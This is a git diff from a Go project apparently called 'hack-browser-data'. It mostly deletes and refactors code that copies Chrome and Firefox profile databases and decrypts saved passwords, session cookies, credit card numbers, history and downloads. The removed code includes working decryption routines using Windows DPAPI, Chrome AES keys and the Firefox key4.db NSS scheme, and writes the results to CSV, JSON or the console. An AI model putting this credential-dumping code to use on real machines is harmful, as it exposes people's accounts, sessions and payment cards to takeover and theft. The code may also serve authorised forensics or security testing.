- log.Error(err)
- }
- bookmarkRows, err = keyDB.Query(queryFirefoxBookMarks)
- if err != nil {
- return err
- }
- for bookmarkRows.Next() {
- var (
- id, bType, dateAdded int64
- title, url string
- )
- err = bookmarkRows.Scan(&id, &url, &bType, &dateAdded, &title)
- if err != nil {
- log.Warn(err)
- }
- if url, ok := tempMap[id]; ok {
- bookmarkUrl = url
- }
- b.bookmarks = append(b.bookmarks, bookmark{
- ID: id,
- Name: title,
- Type: utils.BookmarkType(bType),
- URL: bookmarkUrl,
- DateAdded: utils.TimeStampFormat(dateAdded / 1000000),
- })
- }
- return nil
-}
-
-func (b *bookmarks) CopyDB() error {
- return copyToLocalPath(b.mainPath, filepath.Base(b.mainPath))
-}
-
-func (b *bookmarks) Release() error {
- return os.Remove(filepath.Base(b.mainPath))
-}
-
-func (b *bookmarks) OutPut(format, browser, dir string) error {
- sort.Slice(b.bookmarks, func(i, j int) bool {
- return b.bookmarks[i].ID < b.bookmarks[j].ID
- })
- switch format {
- case "csv":
- err := b.outPutCsv(browser, dir)
- return err
- case "console":
- b.outPutConsole()
- return nil
- default:
- err := b.outPutJson(browser, dir)
- return err
- }
-}
-
-type cookies struct {
- mainPath string
- cookies map[string][]cookie
-}
-
-func NewCookies(main, sub string) Item {
- return &cookies{mainPath: main}
-}
-
-func (c *cookies) ChromeParse(secretKey []byte) error {
- c.cookies = make(map[string][]cookie)
- cookieDB, err := sql.Open("sqlite3", ChromeCookieFile)
- if err != nil {
- return err
- }
- defer func() {
- if err := cookieDB.Close(); err != nil {
- log.Debug(err)
- }
- }()
- rows, err := cookieDB.Query(queryChromiumCookie)
- if err != nil {
- return err
- }
- defer func() {
- if err := rows.Close(); err != nil {
- log.Debug(err)
- }
- }()
- for rows.Next() {
- var (
- key, host, path string
- isSecure, isHTTPOnly, hasExpire, isPersistent int
- createDate, expireDate int64
- value, encryptValue []byte
- )
- err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent)
- if err != nil {
- log.Error(err)
- }
- cookie := cookie{
- KeyName: key,
- Host: host,
- Path: path,
- encryptValue: encryptValue,
- IsSecure: utils.IntToBool(isSecure),
- IsHTTPOnly: utils.IntToBool(isHTTPOnly),
- HasExpire: utils.IntToBool(hasExpire),
- IsPersistent: utils.IntToBool(isPersistent),
- CreateDate: utils.TimeEpochFormat(createDate),
- ExpireDate: utils.TimeEpochFormat(expireDate),
- }
- // remove 'v10'
- if secretKey == nil {
- value, err = decrypt.DPApi(encryptValue)
- } else {
- value, err = decrypt.ChromePass(secretKey, encryptValue)
- }
- if err != nil {
- log.Debug(err)
- }
- cookie.Value = string(value)
- c.cookies[host] = append(c.cookies[host], cookie)
- }
- return nil
-}
-
-func (c *cookies) FirefoxParse() error {
- c.cookies = make(map[string][]cookie)
- cookieDB, err := sql.Open("sqlite3", FirefoxCookieFile)
- if err != nil {
- return err
- }
- defer func() {
- if err := cookieDB.Close(); err != nil {
- log.Debug(err)
- }
- }()
- rows, err := cookieDB.Query(queryFirefoxCookie)
- if err != nil {
- return err
- }
- defer func() {
- if err := rows.Close(); err != nil {
- log.Debug(err)
- }
- }()
- for rows.Next() {
- var (
- name, value, host, path string
- isSecure, isHttpOnly int
- creationTime, expiry int64
- )
- err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHttpOnly)
- if err != nil {
- log.Error(err)
- }
- c.cookies[host] = append(c.cookies[host], cookie{
- KeyName: name,
- Host: host,
- Path: path,
- IsSecure: utils.IntToBool(isSecure),
- IsHTTPOnly: utils.IntToBool(isHttpOnly),
- CreateDate: utils.TimeStampFormat(creationTime / 1000000),
- ExpireDate: utils.TimeStampFormat(expiry),
- Value: value,
- })
- }
- return nil
-}
-
-func (c *cookies) CopyDB() error {
- return copyToLocalPath(c.mainPath, filepath.Base(c.mainPath))
-}
-
-func (c *cookies) Release() error {
- return os.Remove(filepath.Base(c.mainPath))
-}
-
-func (c *cookies) OutPut(format, browser, dir string) error {
- switch format {
- case "csv":
- err := c.outPutCsv(browser, dir)
- return err
- case "console":
- c.outPutConsole()
- return nil
- default:
- err := c.outPutJson(browser, dir)
- return err
- }
-}
-
-type historyData struct {
- mainPath string
- history []history
-}
-
-func NewHistoryData(main, sub string) Item {
- return &historyData{mainPath: main}
-}
-
-func (h *historyData) ChromeParse(key []byte) error {
- historyDB, err := sql.Open("sqlite3", ChromeHistoryFile)
- if err != nil {
- return err
- }
- defer func() {
- if err := historyDB.Close(); err != nil {
- log.Error(err)
- }
- }()
- rows, err := historyDB.Query(queryChromiumHistory)
- if err != nil {
- return err
- }
- defer func() {
- if err := rows.Close(); err != nil {
- log.Debug(err)
- }
- }()
- for rows.Next() {
- var (
- url, title string
- visitCount int
- lastVisitTime int64
- )
- err := rows.Scan(&url, &title, &visitCount, &lastVisitTime)
- data := history{
- Url: url,
- Title: title,
- VisitCount: visitCount,
- LastVisitTime: utils.TimeEpochFormat(lastVisitTime),
- }
- if err != nil {
- log.Error(err)
- }
- h.history = append(h.history, data)
- }
- return nil
-}
-
-func (h *historyData) FirefoxParse() error {
- var (
- err error
- keyDB *sql.DB
- historyRows *sql.Rows
- tempMap map[int64]string
- )
- tempMap = make(map[int64]string)
- keyDB, err = sql.Open("sqlite3", FirefoxDataFile)
- if err != nil {
- return err
- }
- _, err = keyDB.Exec(closeJournalMode)
- if err != nil {
- log.Error(err)
- }
- defer func() {
- if err := keyDB.Close(); err != nil {
- log.Error(err)
- }
- }()
- historyRows, err = keyDB.Query(queryFirefoxHistory)
- if err != nil {
- log.Error(err)
- return err
- }
- defer func() {
- if err := historyRows.Close(); err != nil {
- log.Error(err)
- }
- }()
- for historyRows.Next() {
- var (
- id, visitDate int64
- url, title string
- visitCount int
- )
- err = historyRows.Scan(&id, &url, &visitDate, &title, &visitCount)
- if err != nil {
- log.Warn(err)
- }
- h.history = append(h.history, history{
- Title: title,
- Url: url,
- VisitCount: visitCount,
- LastVisitTime: utils.TimeStampFormat(visitDate / 1000000),
- })
- tempMap[id] = url
- }
- return nil
-}
-
-func (h *historyData) CopyDB() error {
- return copyToLocalPath(h.mainPath, filepath.Base(h.mainPath))
-}
-
-func (h *historyData) Release() error {
- return os.Remove(filepath.Base(h.mainPath))
-}
-
-func (h *historyData) OutPut(format, browser, dir string) error {
- sort.Slice(h.history, func(i, j int) bool {
- return h.history[i].VisitCount > h.history[j].VisitCount
- })
- switch format {
- case "csv":
- err := h.outPutCsv(browser, dir)
- return err
- case "console":
- h.outPutConsole()
- return nil
- default:
- err := h.outPutJson(browser, dir)
- return err
- }
-}
-
-type downloads struct {
- mainPath string
- downloads []download
-}
-
-func NewDownloads(main, sub string) Item {
- return &downloads{mainPath: main}
-}
-
-func (d *downloads) ChromeParse(key []byte) error {
- historyDB, err := sql.Open("sqlite3", ChromeDownloadFile)
- if err != nil {
- return err
- }
- defer func() {
- if err := historyDB.Close(); err != nil {
- log.Error(err)
- }
- }()
- rows, err := historyDB.Query(queryChromiumDownload)
- if err != nil {
- return err
- }
- defer func() {
- if err := rows.Close(); err != nil {
- log.Error(err)
- }
- }()
- for rows.Next() {
- var (
- targetPath, tabUrl, mimeType string
- totalBytes, startTime, endTime int64
- )
- err := rows.Scan(&targetPath, &tabUrl, &totalBytes, &startTime, &endTime, &mimeType)
- data := download{
- TargetPath: targetPath,
- Url: tabUrl,
- TotalBytes: totalBytes,
- StartTime: utils.TimeEpochFormat(startTime),
- EndTime: utils.TimeEpochFormat(endTime),
- MimeType: mimeType,
- }
- if err != nil {
- log.Error(err)
- }
- d.downloads = append(d.downloads, data)
- }
- return nil
-}
-
-func (d *downloads) FirefoxParse() error {
- var (
- err error
- keyDB *sql.DB
- downloadRows *sql.Rows
- tempMap map[int64]string
- )
- tempMap = make(map[int64]string)
- keyDB, err = sql.Open("sqlite3", FirefoxDataFile)
- if err != nil {
- return err
- }
- _, err = keyDB.Exec(closeJournalMode)
- if err != nil {
- log.Error(err)
- }
- defer func() {
- if err := keyDB.Close(); err != nil {
- log.Error(err)
- }
- }()
- downloadRows, err = keyDB.Query(queryFirefoxDownload)
- if err != nil {
- log.Error(err)
- return err
- }
- defer func() {
- if err := downloadRows.Close(); err != nil {
- log.Error(err)
- }
- }()
- for downloadRows.Next() {
- var (
- content, url string
- placeID, dateAdded int64
- )
- err = downloadRows.Scan(&placeID, &content, &url, &dateAdded)
- if err != nil {
- log.Warn(err)
- }
- contentList := strings.Split(content, ",{")
- if len(contentList) > 1 {
- path := contentList[0]
- json := "{" + contentList[1]
- endTime := gjson.Get(json, "endTime")
- fileSize := gjson.Get(json, "fileSize")
- d.downloads = append(d.downloads, download{
- TargetPath: path,
- Url: url,
- TotalBytes: fileSize.Int(),
- StartTime: utils.TimeStampFormat(dateAdded / 1000000),
- EndTime: utils.TimeStampFormat(endTime.Int() / 1000),
- })
- }
- tempMap[placeID] = url
- }
- return nil
-}
-
-func (d *downloads) CopyDB() error {
- return copyToLocalPath(d.mainPath, filepath.Base(d.mainPath))
-}
-
-func (d *downloads) Release() error {
- return os.Remove(filepath.Base(d.mainPath))
-}
-
-func (d *downloads) OutPut(format, browser, dir string) error {
- switch format {
- case "csv":
- err := d.outPutCsv(browser, dir)
- return err
- case "console":
- d.outPutConsole()
- return nil
- default:
- err := d.outPutJson(browser, dir)
- return err
- }
-}
-
-type passwords struct {
- mainPath string
- subPath string
- logins []loginData
-}
-
-func NewFPasswords(main, sub string) Item {
- return &passwords{mainPath: main, subPath: sub}
-}
-
-func NewCPasswords(main, sub string) Item {
- return &passwords{mainPath: main}
-}
-
-func (p *passwords) ChromeParse(key []byte) error {
- loginDB, err := sql.Open("sqlite3", ChromePasswordFile)
- if err != nil {
- return err
- }
- defer func() {
- if err := loginDB.Close(); err != nil {
- log.Debug(err)
- }
- }()
- rows, err := loginDB.Query(queryChromiumLogin)
- if err != nil {
- return err
- }
- defer func() {
- if err := rows.Close(); err != nil {
- log.Debug(err)
- }
- }()
- for rows.Next() {
- var (
- url, username string
- pwd, password []byte
- create int64
- )
- err = rows.Scan(&url, &username, &pwd, &create)
- if err != nil {
- log.Error(err)
- }
- login := loginData{
- UserName: username,
- encryptPass: pwd,
- LoginUrl: url,
- }
- if key == nil {
- password, err = decrypt.DPApi(pwd)
- } else {
- password, err = decrypt.ChromePass(key, pwd)
- }
- if err != nil {
- log.Debugf("%s have empty password %s", login.LoginUrl, err.Error())
- }
- if create > time.Now().Unix() {
- login.CreateDate = utils.TimeEpochFormat(create)
- } else {
- login.CreateDate = utils.TimeStampFormat(create)
- }
- login.Password = string(password)
- p.logins = append(p.logins, login)
- }
- return nil
-}
-
-func (p *passwords) FirefoxParse() error {
- globalSalt, metaBytes, nssA11, nssA102, err := getFirefoxDecryptKey()
- if err != nil {
- return err
- }
- keyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}
- metaPBE, err := decrypt.NewASN1PBE(metaBytes)
- if err != nil {
- log.Error("decrypter meta data failed", err)
- return err
- }
- // default master password is empty
- var masterPwd []byte
- k, err := metaPBE.Decrypt(globalSalt, masterPwd)
- if err != nil {
- log.Error("decrypter firefox meta bytes failed", err)
- return err
- }
- if bytes.Contains(k, []byte("password-check")) {
- log.Debug("password-check success")
- m := bytes.Compare(nssA102, keyLin)
- if m == 0 {
- nssPBE, err := decrypt.NewASN1PBE(nssA11)
- if err != nil {
- log.Error("decode firefox nssA11 bytes failed", err)
- return err
- }
- finallyKey, err := nssPBE.Decrypt(globalSalt, masterPwd)
- finallyKey = finallyKey[:24]
- if err != nil {
- log.Error("get firefox finally key failed")
- return err
- }
- allLogins, err := getFirefoxLoginData()
- if err != nil {
- return err
- }
- for _, v := range allLogins {
- userPBE, err := decrypt.NewASN1PBE(v.encryptUser)
- if err != nil {
- log.Error("decode firefox user bytes failed", err)
- }
- pwdPBE, err := decrypt.NewASN1PBE(v.encryptPass)
- if err != nil {
- log.Error("decode firefox password bytes failed", err)
- }
- user, err := userPBE.Decrypt(finallyKey, masterPwd)
- if err != nil {
- log.Error(err)
- }
- pwd, err := pwdPBE.Decrypt(finallyKey, masterPwd)
- if err != nil {
- log.Error(err)
- }
- log.Debug("decrypter firefox success")
- p.logins = append(p.logins, loginData{
- LoginUrl: v.LoginUrl,
- UserName: string(decrypt.PKCS5UnPadding(user)),
- Password: string(decrypt.PKCS5UnPadding(pwd)),
- CreateDate: v.CreateDate,
- })
- }
- }
- }
- return nil
-}
-
-func (p *passwords) CopyDB() error {
- err := copyToLocalPath(p.mainPath, filepath.Base(p.mainPath))
- if err != nil {
- log.Error(err)
- }
- if p.subPath != "" {
- err = copyToLocalPath(p.subPath, filepath.Base(p.subPath))
- }
- return err
-}
-
-func (p *passwords) Release() error {
- err := os.Remove(filepath.Base(p.mainPath))
- if err != nil {
- log.Error(err)
- }
- if p.subPath != "" {
- err = os.Remove(filepath.Base(p.subPath))
- }
- return err
-}
-
-func (p *passwords) OutPut(format, browser, dir string) error {
- sort.Sort(p)
- switch format {
- case "csv":
- err := p.outPutCsv(browser, dir)
- return err
- case "console":
- p.outPutConsole()
- return nil
- default:
- err := p.outPutJson(browser, dir)
- return err
- }
-}
-
-type creditCards struct {
- mainPath string
- cards map[string][]card
-}
-
-func NewCCards(main string, sub string) Item {
- return &creditCards{mainPath: main}
-}
-
-func (c *creditCards) FirefoxParse() error {
- return nil // FireFox does not have a credit card saving feature
-}
-
-func (c *creditCards) ChromeParse(secretKey []byte) error {
- c.cards = make(map[string][]card)
- creditDB, err := sql.Open("sqlite3", ChromeCreditFile)
- if err != nil {
- return err
- }
- defer func() {
- if err := creditDB.Close(); err != nil {
- log.Debug(err)
- }
- }()
- rows, err := creditDB.Query(queryChromiumCredit)
- if err != nil {
- return err
- }
- defer func() {
- if err := rows.Close(); err != nil {
- log.Debug(err)
- }
- }()
- for rows.Next() {
- var (
- name, month, year, guid string
- value, encryptValue []byte
- )
- err := rows.Scan(&guid, &name, &month, &year, &encryptValue)
- if err != nil {
- log.Error(err)
- }
- creditCardInfo := card{
- GUID: guid,
- Name: name,
- ExpirationMonth: month,
- ExpirationYear: year,
- }
- if secretKey == nil {
- value, err = decrypt.DPApi(encryptValue)
- } else {
- value, err = decrypt.ChromePass(secretKey, encryptValue)
- }
- if err != nil {
- log.Debug(err)
- }
- creditCardInfo.CardNumber = string(value)
- c.cards[guid] = append(c.cards[guid], creditCardInfo)
- }
- return nil
-}
-
-func (c *creditCards) CopyDB() error {
- return copyToLocalPath(c.mainPath, filepath.Base(c.mainPath))
-}
-
-func (c *creditCards) Release() error {
- return os.Remove(filepath.Base(c.mainPath))
-}
-
-func (c *creditCards) OutPut(format, browser, dir string) error {
- switch format {
- case "csv":
- err := c.outPutCsv(browser, dir)
- return err
- case "console":
- c.outPutConsole()
- return nil
- default:
- err := c.outPutJson(browser, dir)
- return err
- }
-}
-
-// getFirefoxDecryptKey get value from key4.db
-func getFirefoxDecryptKey() (item1, item2, a11, a102 []byte, err error) {
- var (
- keyDB *sql.DB
- pwdRows *sql.Rows
- nssRows *sql.Rows
- )
- keyDB, err = sql.Open("sqlite3", FirefoxKey4File)
- if err != nil {
- log.Error(err)
- return nil, nil, nil, nil, err
- }
- defer func() {
- if err := keyDB.Close(); err != nil {
- log.Error(err)
- }
- }()
-
- pwdRows, err = keyDB.Query(queryMetaData)
- defer func() {
- if err := pwdRows.Close(); err != nil {
- log.Debug(err)
- }
- }()
- for pwdRows.Next() {
- if err := pwdRows.Scan(&item1, &item2); err != nil {
- log.Error(err)
- continue
- }
- }
- if err != nil {
- log.Error(err)
- }
- nssRows, err = keyDB.Query(queryNssPrivate)
- defer func() {
- if err := nssRows.Close(); err != nil {
- log.Debug(err)
- }
- }()
- for nssRows.Next() {
- if err := nssRows.Scan(&a11, &a102); err != nil {
- log.Debug(err)
- }
- }
- return item1, item2, a11, a102, nil
-}
-
-// getFirefoxLoginData use to get firefox
-func getFirefoxLoginData() (l []loginData, err error) {
- s, err := ioutil.ReadFile(FirefoxLoginFile)
- if err != nil {
- return nil, err
- }
- h := gjson.GetBytes(s, "logins")
- if h.Exists() {
- for _, v := range h.Array() {
- var (
- m loginData
- u []byte
- p []byte
- )
- m.LoginUrl = v.Get("formSubmitURL").String()
- u, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String())
- m.encryptUser = u
- if err != nil {
- log.Debug(err)
- }
- p, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String())
- m.encryptPass = p
- m.CreateDate = utils.TimeStampFormat(v.Get("timeCreated").Int() / 1000)
- l = append(l, m)
- }
- }
- return
-}
-
-type (
- loginData struct {
- UserName string
- encryptPass []byte
- encryptUser []byte
- Password string
- LoginUrl string
- CreateDate time.Time
- }
- bookmark struct {
- ID int64
- Name string
- Type string
- URL string
- DateAdded time.Time
- }
- cookie struct {
- Host string
- Path string
- KeyName string
- encryptValue []byte
- Value string
- IsSecure bool
- IsHTTPOnly bool
- HasExpire bool
- IsPersistent bool
- CreateDate time.Time
- ExpireDate time.Time
- }
- history struct {
- Title string
- Url string
- VisitCount int
- LastVisitTime time.Time
- }
- download struct {
- TargetPath string
- Url string
- TotalBytes int64
- StartTime time.Time
- EndTime time.Time
- MimeType string
- }
- card struct {
- GUID string
- Name string
- ExpirationYear string
- ExpirationMonth string
- CardNumber string
- }
-)
-
-func (p passwords) Len() int {
- return len(p.logins)
-}
-
-func (p passwords) Less(i, j int) bool {
- return p.logins[i].CreateDate.After(p.logins[j].CreateDate)
-}
-
-func (p passwords) Swap(i, j int) {
- p.logins[i], p.logins[j] = p.logins[j], p.logins[i]
-}
-
-func (d downloads) Len() int {
- return len(d.downloads)
-}
-
-func (d downloads) Less(i, j int) bool {
- return d.downloads[i].StartTime.After(d.downloads[j].StartTime)
-}
-
-func (d downloads) Swap(i, j int) {
- d.downloads[i], d.downloads[j] = d.downloads[j], d.downloads[i]
-}
-
-func copyToLocalPath(src, dst string) error {
- locals, _ := filepath.Glob("*")
- for _, v := range locals {
- if v == dst {
- err := os.Remove(dst)
- if err != nil {
- return err
- }
- }
- }
- sourceFile, err := ioutil.ReadFile(src)
- if err != nil {
- log.Debug(err.Error())
- }
- err = ioutil.WriteFile(dst, sourceFile, 0777)
- if err != nil {
- log.Debug(err.Error())
- }
- return err
-}
diff --git a/core/decrypt/decrypt.go b/core/decrypt/decrypt.go
deleted file mode 100644
index 82740f8..0000000
--- a/core/decrypt/decrypt.go
+++ /dev/null
@@ -1,214 +0,0 @@
-package decrypt
-
-import (
- "crypto/aes"
- "crypto/cipher"
- "crypto/des"
- "crypto/hmac"
- "crypto/sha1"
- "crypto/sha256"
- "encoding/asn1"
- "errors"
-
- "golang.org/x/crypto/pbkdf2"
-)
-
-var (
- errSecurityKeyIsEmpty = errors.New("input [security find-generic-password -wa 'Chrome'] in terminal")
- errPasswordIsEmpty = errors.New("password is empty")
- errDecryptFailed = errors.New("decrypter encrypt value failed")
- errDecodeASN1Failed = errors.New("decode ASN1 data failed")
- errEncryptedLength = errors.New("length of encrypted password less than block size")
-)
-
-type ASN1PBE interface {
- Decrypt(globalSalt, masterPwd []byte) (key []byte, err error)
-}
-
-func NewASN1PBE(b []byte) (pbe ASN1PBE, err error) {
- var (
- n NssPBE
- m MetaPBE
- l LoginPBE
- )
- if _, err := asn1.Unmarshal(b, &n); err == nil {
- return n, nil
- }
- if _, err := asn1.Unmarshal(b, &m); err == nil {
- return m, nil
- }
- if _, err := asn1.Unmarshal(b, &l); err == nil {
- return l, nil
- }
- return nil, errDecodeASN1Failed
-}
-
-// NssPBE Struct
-// SEQUENCE (2 elem)
-// SEQUENCE (2 elem)
-// OBJECT IDENTIFIER
-// SEQUENCE (2 elem)
-// OCTET STRING (20 byte)
-// INTEGER 1
-// OCTET STRING (16 byte)
-type NssPBE struct {
- NssSequenceA
- Encrypted []byte
-}
-
-type NssSequenceA struct {
- DecryptMethod asn1.ObjectIdentifier
- NssSequenceB
-}
-
-type NssSequenceB struct {
- EntrySalt []byte
- Len int
-}
-
-func (n NssPBE) Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) {
- glmp := append(globalSalt, masterPwd...)
- hp := sha1.Sum(glmp)
- s := append(hp[:], n.EntrySalt...)
- chp := sha1.Sum(s)
- pes := paddingZero(n.EntrySalt, 20)
- tk := hmac.New(sha1.New, chp[:])
- tk.Write(pes)
- pes = append(pes, n.EntrySalt...)
- k1 := hmac.New(sha1.New, chp[:])
- k1.Write(pes)
- tkPlus := append(tk.Sum(nil), n.EntrySalt...)
- k2 := hmac.New(sha1.New, chp[:])
- k2.Write(tkPlus)
- k := append(k1.Sum(nil), k2.Sum(nil)...)
- iv := k[len(k)-8:]
- return des3Decrypt(k[:24], iv, n.Encrypted)
-}
-
-// MetaPBE Struct
-// SEQUENCE (2 elem)
-// SEQUENCE (2 elem)
-// OBJECT IDENTIFIER
-// SEQUENCE (2 elem)
-// SEQUENCE (2 elem)
-// OBJECT IDENTIFIER
-// SEQUENCE (4 elem)
-// OCTET STRING (32 byte)
-// INTEGER 1
-// INTEGER 32
-// SEQUENCE (1 elem)
-// OBJECT IDENTIFIER
-// SEQUENCE (2 elem)
-// OBJECT IDENTIFIER
-// OCTET STRING (14 byte)
-// OCTET STRING (16 byte)
-type MetaPBE struct {
- MetaSequenceA
- Encrypted []byte
-}
-
-type MetaSequenceA struct {
- PKCS5PBES2 asn1.ObjectIdentifier
- MetaSequenceB
-}
-type MetaSequenceB struct {
- MetaSequenceC
- MetaSequenceD
-}
-
-type MetaSequenceC struct {
- PKCS5PBKDF2 asn1.ObjectIdentifier
- MetaSequenceE
-}
-
-type MetaSequenceD struct {
- AES256CBC asn1.ObjectIdentifier
- IV []byte
-}
-
-type MetaSequenceE struct {
- EntrySalt []byte
- IterationCount int
- KeySize int
- MetaSequenceF
-}
-
-type MetaSequenceF struct {
- HMACWithSHA256 asn1.ObjectIdentifier
-}
-
-func (m MetaPBE) Decrypt(globalSalt, masterPwd []byte) (key2 []byte, err error) {
- k := sha1.Sum(globalSalt)
- key := pbkdf2.Key(k[:], m.EntrySalt, m.IterationCount, m.KeySize, sha256.New)
- iv := append([]byte{4, 14}, m.IV...)
- return aes128CBCDecrypt(key, iv, m.Encrypted)
-}
-
-// LoginPBE Struct
-// SEQUENCE (3 elem)
-// OCTET STRING (16 byte)
-// SEQUENCE (2 elem)
-// OBJECT IDENTIFIER
-// OCTET STRING (8 byte)
-// OCTET STRING (16 byte)
-type LoginPBE struct {
- CipherText []byte
- LoginSequence
- Encrypted []byte
-}
-
-type LoginSequence struct {
- asn1.ObjectIdentifier
- IV []byte
-}
-
-func (l LoginPBE) Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) {
- return des3Decrypt(globalSalt, l.IV, l.Encrypted)
-}
-
-func aes128CBCDecrypt(key, iv, encryptPass []byte) ([]byte, error) {
- block, err := aes.NewCipher(key)
- if err != nil {
- return nil, err
- }
- encryptLen := len(encryptPass)
- if encryptLen < block.BlockSize() {
- return nil, errEncryptedLength
- }
-
- dst := make([]byte, encryptLen)
- mode := cipher.NewCBCDecrypter(block, iv)
- mode.CryptBlocks(dst, encryptPass)
- dst = PKCS5UnPadding(dst)
- return dst, nil
-}
-
-func PKCS5UnPadding(src []byte) []byte {
- length := len(src)
- unpad := int(src[length-1])
- return src[:(length - unpad)]
-}
-
-// des3Decrypt use for decrypter firefox PBE
-func des3Decrypt(key, iv []byte, src []byte) ([]byte, error) {
- block, err := des.NewTripleDESCipher(key)
- if err != nil {
- return nil, err
- }
- blockMode := cipher.NewCBCDecrypter(block, iv)
- sq := make([]byte, len(src))
- blockMode.CryptBlocks(sq, src)
- return sq, nil
-}
-
-func paddingZero(s []byte, l int) []byte {
- h := l - len(s)
- if h <= 0 {
- return s
- } else {
- for i := len(s); i < l; i++ {
- s = append(s, 0)
- }
- return s
- }
-}
diff --git a/core/decrypt/decrypt_darwin.go b/core/decrypt/decrypt_darwin.go
deleted file mode 100644
index beb694b..0000000
--- a/core/decrypt/decrypt_darwin.go
+++ /dev/null
@@ -1,17 +0,0 @@
-package decrypt
-
-func ChromePass(key, encryptPass []byte) ([]byte, error) {
- if len(encryptPass) > 3 {
- if len(key) == 0 {
- return nil, errSecurityKeyIsEmpty
- }
- var chromeIV = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
- return aes128CBCDecrypt(key, chromeIV, encryptPass[3:])
- } else {
- return nil, errDecryptFailed
- }
-}
-
-func DPApi(data []byte) ([]byte, error) {
- return nil, nil
-}
diff --git a/core/decrypt/decrypt_linux.go b/core/decrypt/decrypt_linux.go
deleted file mode 100644
index ad543ff..0000000
--- a/core/decrypt/decrypt_linux.go
+++ /dev/null
@@ -1,17 +0,0 @@
-package decrypt
-
-func ChromePass(key, encryptPass []byte) ([]byte, error) {
- var chromeIV = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
- if len(encryptPass) > 3 {
- if len(key) == 0 {
- return nil, errSecurityKeyIsEmpty
- }
- return aes128CBCDecrypt(key, chromeIV, encryptPass[3:])
- } else {
- return nil, errDecryptFailed
- }
-}
-
-func DPApi(data []byte) ([]byte, error) {
- return nil, nil
-}
diff --git a/core/decrypt/decrypt_windows.go b/core/decrypt/decrypt_windows.go
deleted file mode 100644
index 4f23271..0000000
--- a/core/decrypt/decrypt_windows.go
+++ /dev/null
@@ -1,70 +0,0 @@
-package decrypt
-
-import (
- "crypto/aes"
- "crypto/cipher"
- "syscall"
- "unsafe"
-)
-
-func ChromePass(key, encryptPass []byte) ([]byte, error) {
- if len(encryptPass) > 15 {
- // remove Prefix 'v10'
- return aesGCMDecrypt(encryptPass[15:], key, encryptPass[3:15])
- } else {
- return nil, errPasswordIsEmpty
- }
-}
-
-// chromium > 80 https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_win.cc
-func aesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) {
- block, err := aes.NewCipher(key)
- if err != nil {
- return nil, err
- }
- blockMode, err := cipher.NewGCM(block)
- if err != nil {
- return nil, err
- }
- origData, err := blockMode.Open(nil, nounce, crypted, nil)
- if err != nil {
- return nil, err
- }
- return origData, nil
-}
-
-type dataBlob struct {
- cbData uint32
- pbData *byte
-}
-
-func NewBlob(d []byte) *dataBlob {
- if len(d) == 0 {
- return &dataBlob{}
- }
- return &dataBlob{
- pbData: &d[0],
- cbData: uint32(len(d)),
- }
-}
-
-func (b *dataBlob) ToByteArray() []byte {
- d := make([]byte, b.cbData)
- copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
- return d
-}
-
-// chrome < 80 https://chromium.googlesource.com/chromium/src/+/76f496a7235c3432983421402951d73905c8be96/components/os_crypt/os_crypt_win.cc#82
-func DPApi(data []byte) ([]byte, error) {
- dllCrypt := syscall.NewLazyDLL("Crypt32.dll")
- dllKernel := syscall.NewLazyDLL("Kernel32.dll")
- procDecryptData := dllCrypt.NewProc("CryptUnprotectData")
- procLocalFree := dllKernel.NewProc("LocalFree")
- var outBlob dataBlob
- r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob)))
- if r == 0 {
- return nil, err
- }
- defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
- return outBlob.ToByteArray(), nil
-}
diff --git a/go.mod b/go.mod
index 3c4bc91..75049e9 100644
--- a/go.mod
+++ b/go.mod
@@ -1,6 +1,6 @@
module hack-browser-data
-go 1.16
+go 1.18
require (
github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9
@@ -13,3 +13,13 @@ require (
github.com/urfave/cli/v2 v2.2.0
golang.org/x/crypto v0.0.0-20200604202706-70a84ac30bf9
)
+
+require (
+ github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d // indirect
+ github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421 // indirect
+ github.com/modern-go/reflect2 v1.0.2 // indirect
+ github.com/russross/blackfriday/v2 v2.0.1 // indirect
+ github.com/shurcooL/sanitized_anchor_name v1.0.0 // indirect
+ github.com/tidwall/match v1.1.1 // indirect
+ github.com/tidwall/pretty v1.2.0 // indirect
+)
diff --git a/internal/browser/browser.go b/internal/browser/browser.go
index 0b2961d..9c02b40 100644
--- a/internal/browser/browser.go
+++ b/internal/browser/browser.go
@@ -10,6 +10,7 @@ import (
"strings"
"hack-browser-data/internal/browser/data"
+ "hack-browser-data/internal/browser/item"
)
type Browser interface {
@@ -75,8 +76,8 @@ func pickFirefox(name string) []Browser {
var browsers []Browser
name = strings.ToLower(name)
if name == "all" || name == "firefox" {
- for _, b := range firefoxList {
- multiFirefox, err := newMultiFirefox(b.browserInfo, b.items)
+ for _, f := range firefoxList {
+ multiFirefox, err := newMultiFirefox(f.browserInfo, f.items)
if err != nil {
panic(err)
}
@@ -91,17 +92,22 @@ func pickFirefox(name string) []Browser {
type chromium struct {
browserInfo *browserInfo
- items []item
- itemPaths map[item]string
+ items []item.Item
+ itemPaths map[item.Item]string
}
-// NewBrowser 根据浏览器信息生成 Browser Interface
-func newChromium(info *browserInfo, items []item) (*chromium, error) {
+// newChromium 根据浏览器信息生成 Browser Interface
+func newChromium(info *browserInfo, items []item.Item) (*chromium, error) {
c := &chromium{
browserInfo: info,
items: items,
}
- itemsPaths, err := getChromiumItemAbsPath(c.browserInfo.profilePath, c.items)
+ absProfilePath := path.Join(homeDir, filepath.Clean(c.browserInfo.profilePath))
+ // TODO: Handle file path is not exist
